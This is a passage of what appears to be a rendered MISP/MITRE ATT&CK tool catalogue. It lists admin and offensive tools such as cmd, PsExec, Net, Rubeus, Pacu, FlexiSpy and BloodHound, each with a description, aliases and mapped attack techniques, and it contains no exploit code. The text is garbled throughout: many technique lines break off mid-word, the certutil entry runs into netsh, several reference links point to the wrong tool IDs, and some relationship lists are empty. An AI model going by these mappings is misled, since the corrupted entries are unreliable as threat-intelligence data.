<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1050">https://attack.mitre.org/software/S1050</a></td>
</tr>
<tr>
<td><a href="https://github.com/LiveMirror/pcshare">https://github.com/LiveMirror/pcshare</a></td>
</tr>
</tbody>
</table>
**dsquery - S0105**

[dsquery](https://attack.mitre.org/software/S0105) is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.

The tag is: `misp-galaxy:mitre-tool="dsquery - S0105"`

dsquery - S0105 is also known as:

- dsquery
- dsquery.exe

**View relationships graph**

dsquery - S0105 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 7215. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0105">https://attack.mitre.org/software/S0105</a></td>
<td></td>
</tr>
</tbody>
</table>

**cmd - S0106**

[cmd](https://attack.mitre.org/software/S0106) is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)

Cmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., `<code>dir</code>` (Citation: TechNet Dir)), deleting files (e.g., `<code>del</code>` (Citation: TechNet Del)), and copying files (e.g., `<code>copy</code>` (Citation: TechNet Copy)).

The tag is: `misp-galaxy:mitre-tool="cmd - S0106"`

cmd - S0106 is also known as:

- cmd
• cmd.exe

**View relationships graph**

cmd - S0106 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 7216. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0106">https://attack.mitre.org/software/S0106</a></td>
</tr>
</tbody>
</table>

**certutil - S0160**

certutil - S0160 is also known as:

- certutil
- certutil.exe

**View relationships graph**

certutil - S0160 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-
netsh - S0108

[netsh](https://attack.mitre.org/software/S0108) is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)

The tag is: `misp-galaxy:mitre-tool="netsh - S0108"

netsh - S0108 is also known as:

- netsh
- netsh.exe

View relationships graph

netsh - S0108 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007" with estimative-language:likelihood-probability="almost-certain"

Table 7217. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0160">https://attack.mitre.org/software/S0160</a></td>
</tr>
</tbody>
</table>

Table 7218. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0108">https://attack.mitre.org/software/S0108</a></td>
</tr>
</tbody>
</table>
**BITSAdmin - S0190**

[BITSAdmin](https://attack.mitre.org/software/S0190) is a command line tool used to create and manage [BITS Jobs](https://attack.mitre.org/techniques/T1197). (Citation: Microsoft BITSAdmin)

The tag is: *misp-galaxy:mitre-tool="BITSAdmin - S0190"*

BITSAdmin - S0190 is also known as:

- BITSAdmin

View relationships graph

BITSAadmin - S0190 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 7219. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0190">https://attack.mitre.org/software/S0190</a></td>
</tr>
</tbody>
</table>

**Koadic - S0250**

[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host. (Citation: Github Koadic)(Citation: Palo Alto Sofacy 06-2018)(Citation: MalwareBytes LazyScripter Feb 2021)

The tag is: *misp-galaxy:mitre-tool="Koadic - S0250"*

Koadic - S0250 is also known as:

- Koadic

View relationships graph

Koadic - S0250 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-
PsExec - S0029

[PsExec](https://attack.mitre.org/software/S0029) is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)

The tag is: `misp-galaxy:mitre-tool="PsExec - S0029"

PsExec - S0029 is also known as:

- PsExec

View relationships graph

PsExec - S0029 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:tool="PsExec"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002"` with estimative-
Net - S0039

The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)

[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) using `<code>net use</code>` commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as `<code>net1 user</code>`.

The tag is: `misp-galaxy:mitre-tool="Net - S0039"

Net - S0039 is also known as:

- Net
- net.exe

View relationships graph

Net - S0039 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 7222. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://windowsitpro.com/windows/netexe-reference">http://windowsitpro.com/windows/netexe-reference</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0039">https://attack.mitre.org/software/S0039</a></td>
</tr>
</tbody>
</table>

esentutl - S0404

[esentutl](https://attack.mitre.org/software/S0039) is a command-line tool that provides database utilities for the Windows Extensible Storage Engine.(Citation: Microsoft Esentutl)

The tag is: misp-galaxy:mitre-tool="esentutl - S0404"

esentutl - S0404 is also known as:

• esentutl
• esentutl.exe

View relationships graph

esentutl - S0404 has relationships with:
uses: misp-galaxy:mitre-attack-pattern="Direct Volume Access - T1006" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 7223. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0404">https://attack.mitre.org/software/S0404</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh875546(v=ws.11)">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh875546(v=ws.11)</a></td>
</tr>
</tbody>
</table>

FlexiSpy - S0408

[FlexiSpy](https://attack.mitre.org/software/S0408) is sophisticated surveillanceseware for iOS and Android. Publicly-available, comprehensive analysis has only been found for the Android version.(Citation: FortiGuard-FlexiSpy)(Citation: CyberMerchants-FlexiSpy)

[FlexiSpy](https://attack.mitre.org/software/S0408) markets itself as a parental control and employee monitoring application.(Citation: FlexiSpy-Website)

The tag is: misp-galaxy:mitre-tool="FlexiSpy - S0408"

FlexiSpy - S0408 is also known as:

- FlexiSpy

View relationships graph

FlexiSpy - S0408 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409" with estimative-
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1509" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Calendar Entries - T1636.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Runtime API Hijacking - T1625.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"

Table 7224. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.cybermerchantsofdeath.com/blog/2017/04/22/FlexiSpy.html">http://www.cybermerchantsofdeath.com/blog/2017/04/22/FlexiSpy.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0408">https://attack.mitre.org/software/S0408</a></td>
</tr>
<tr>
<td><a href="https://d3gpjj9d20n0p3.cloudfront.net/fortiguard/research/Dig%20Deep%20into%20FlexiSpy%20for%20Android%20White%20Paper%20%20Kai%20Lu.pdf">https://d3gpjj9d20n0p3.cloudfront.net/fortiguard/research/Dig%20Deep%20into%20FlexiSpy%20for%20Android%20White%20Paper%20%20Kai%20Lu.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.flexispy.com/">https://www.flexispy.com/</a></td>
</tr>
</tbody>
</table>
Reg - S0075

[Reg](https://attack.mitre.org/software/S0075) is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)

Utilities such as [Reg](https://attack.mitre.org/software/S0075) are known to be used by persistent threats. (Citation: Windows Commands JPCERT)

The tag is: `misp-galaxy:mitre-tool="Reg - S0075"`

Reg - S0075 is also known as:

- Reg
- reg.exe

View relationships graph

Reg - S0075 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Query Registry - T1012"` with estimative-language:likelihood-probability="almost-certain"

**Table 7225. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0075">https://attack.mitre.org/software/S0075</a></td>
</tr>
</tbody>
</table>

Tasklist - S0057

The [Tasklist](https://attack.mitre.org/software/S0057) utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)

The tag is: `misp-galaxy:mitre-tool="Tasklist - S0057"

Tasklist - S0057 is also known as:

- Tasklist

View relationships graph
Tasklist - S0057 has relationships with:


Table 7226. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0057">https://attack.mitre.org/software/S0057</a></td>
</tr>
</tbody>
</table>

**ngrok - S0508**

[ngrok](https://attack.mitre.org/software/S0057) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [ngrok](https://attack.mitre.org/software/S0057) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration. (Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: MalwareBytes LazyScripter Feb 2021)

The tag is: *misp-galaxy:mitre-tool=“ngrok - S0508”*

ngrok - S0508 is also known as:

- ngrok

View relationships graph

ngrok - S0508 has relationships with:


Table 7227. Table References
NBTscan - S0590

NBTscan [https://attack.mitre.org/software/S0590](https://attack.mitre.org/software/S0590) is an open source tool that has been used by state groups to conduct internal reconnaissance within a compromised network.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)(Citation: Symantec Waterbug Jun 2019)(Citation: FireEye APT39 Jan 2019)

The tag is: *misp-galaxy:mitre-tool="NBTscan - S0590"*

NBTscan - S0590 is also known as:

- NBTscan

View relationships graph

NBTscan - S0590 has relationships with:


Table 7228. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0590">https://attack.mitre.org/software/S0590</a></td>
</tr>
<tr>
<td><a href="https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html">https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html</a></td>
</tr>
<tr>
<td><a href="https://sectools.org/tool/nbtscan/">https://sectools.org/tool/nbtscan/</a></td>
</tr>
</tbody>
</table>
**ftp - S0095**

[ftp](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Microsoft FTP) (Citation: Linux FTP)

The tag is: `misp-galaxy:mitre-tool="ftp - S0095"`

ftp - S0095 is also known as:

- ftp
- ftp.exe

View relationships graph

ftp - S0095 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

**Systeminfo - S0096**

[Systeminfo](https://attack.mitre.org/software/S0096) is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)

The tag is: `misp-galaxy:mitre-tool="Systeminfo - S0096"`

Systeminfo - S0096 is also known as:

- Systeminfo

View relationships graph
Systeminfo - S0096 has relationships with:


Table 7230. Table References
Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0096">https://attack.mitre.org/software/S0096</a></td>
</tr>
</tbody>
</table>

Ping - S0097

[Ping](https://attack.mitre.org/software/S0097) is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)

The tag is: misp-galaxy:mitre-tool="Ping - S0097"

Ping - S0097 is also known as:

- Ping

View relationships graph

Ping - S0097 has relationships with:


Table 7231. Table References
Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0097">https://attack.mitre.org/software/S0097</a></td>
</tr>
</tbody>
</table>

Arp - S0099

[Arp](https://attack.mitre.org/software/S0099) displays and modifies information about a system’s Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)

The tag is: misp-galaxy:mitre-tool="Arp - S0099"

Arp - S0099 is also known as:

- Arp
- arp.exe

View relationships graph
Arp - S0099 has relationships with:


Table 7232. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0099">https://attack.mitre.org/software/S0099</a></td>
</tr>
</tbody>
</table>

**schtasks - S0111**

[schtasks](https://attack.mitre.org/software/S0111) is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)

The tag is: *misp-galaxy:mitre-tool="schtasks - S0111"*

schtasks - S0111 is also known as:

- schtasks
- schtasks.exe

View relationships graph

schtasks - S0111 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 7233. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0111">https://attack.mitre.org/software/S0111</a></td>
</tr>
</tbody>
</table>

**Lslsass - S0121**

[Lslsass](https://attack.mitre.org/software/S0121) is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-tool="Lslsass - S0121"*

Lslsass - S0121 is also known as:

- Lslsass
Lslsass - S0121 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

**Table 7234. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0121">https://attack.mitre.org/software/S0121</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf">https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf</a></td>
</tr>
</tbody>
</table>

**UACMe - S0116**

[UACMe](https://attack.mitre.org/software/S0116) is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)

The tag is: *misp-galaxy:mitre-tool="UACMe - S0116"*

**View relationships graph**

UACMe - S0116 has relationships with:

- similar: misp-galaxy:malpedia="UACMe" with estimative-language:likelihood-probability="likely"

**Table 7235. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0116">https://attack.mitre.org/software/S0116</a></td>
</tr>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
</tr>
</tbody>
</table>

**Rubeus - S1071**

[Rubeus](https://attack.mitre.org/software/S1071) is a C# toolset designed for raw Kerberos interaction that has been used since at least 2020, including in ransomware operations. (Citation: GitHub Rubeus March 2023)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk’s Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)

The tag is: *misp-galaxy:mitre-tool="Rubeus - S1071"*

Rubeus - S1071 is also known as:

- Rubeus
Rubeus - S1071 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Golden Ticket - T1558.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Cachedump - S0119

[Cachedump](https://attack.mitre.org/software/S0119) is a publicly-available tool that program extracts cached password hashes from a system's registry. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-tool="Cachedump - S0119"*

Cachedump - S0119 is also known as:

- Cachedump

Cachedump - S0119 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
Pacu - S1091

Pacu is an open-source AWS exploitation framework. The tool is written in Python and publicly available on GitHub. (Citation: GitHub Pacu)

The tag is: misp-galaxy:mitre-tool="Pacu - S1091"

Pacu - S1091 is also known as:

- Pacu

View relationships graph

Pacu - S1091 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Cloud Groups - T1069.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage - T1530" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Infrastructure Discovery - T1580" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Firewall - T1562.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Storage Object Discovery - T1619" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Logs - T1562.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Administration Command - T1651" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Create Snapshot - T1578.001" with estimative-language:likelihood-probability="almost-certain"

Table 7238. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0191">Winexe</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0029">PsExec</a></td>
</tr>
</tbody>
</table>

Winexe - S0191

[Winexe](https://attack.mitre.org/software/S0191) is a lightweight, open source tool similar to [PsExec](https://attack.mitre.org/software/S0029) designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013)

[Winexe](https://attack.mitre.org/software/S0191) is unique in that it is a GNU/Linux based client. (Citation: Überwachung APT28 Forfiles June 2015)

The tag is: misp-galaxy:mitre-tool="Winexe - S0191"

View relationships graph

Winexe - S0191 has relationships with:

- similar: misp-galaxy:tool="Winexe" with estimative-language:likelihood-probability="likely"

Table 7239. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0191">Winexe</a></td>
</tr>
</tbody>
</table>
xCmd - S0123

[xCmd](https://attack.mitre.org/software/S0123) is an open source tool that is similar to [PsExec](https://attack.mitre.org/software/S0029) and allows the user to execute applications on remote systems. (Citation: xCmd)

The tag is: `misp-galaxy:mitre-tool="xCmd - S0123"`

View relationships graph

xCmd - S0123 has relationships with:


BloodHound - S0521

[BloodHound](https://attack.mitre.org/software/S0521) is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.(Citation: GitHub Bloodhound)(Citation: CrowdStrike BloodHound April 2018)(Citation: FoxIT Wocao December 2019)

The tag is: `misp-galaxy:mitre-tool="BloodHound - S0521"`

BloodHound - S0521 is also known as:

- BloodHound

View relationships graph

BloodHound - S0521 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 7241. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0521">https://attack.mitre.org/software/S0521</a></td>
</tr>
<tr>
<td><a href="https://github.com/BloodHoundAD/BloodHound">https://github.com/BloodHoundAD/BloodHound</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/">https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/</a></td>
</tr>
<tr>
<td><a href="https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf">https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf</a></td>
</tr>
</tbody>
</table>

Pupy - S0192

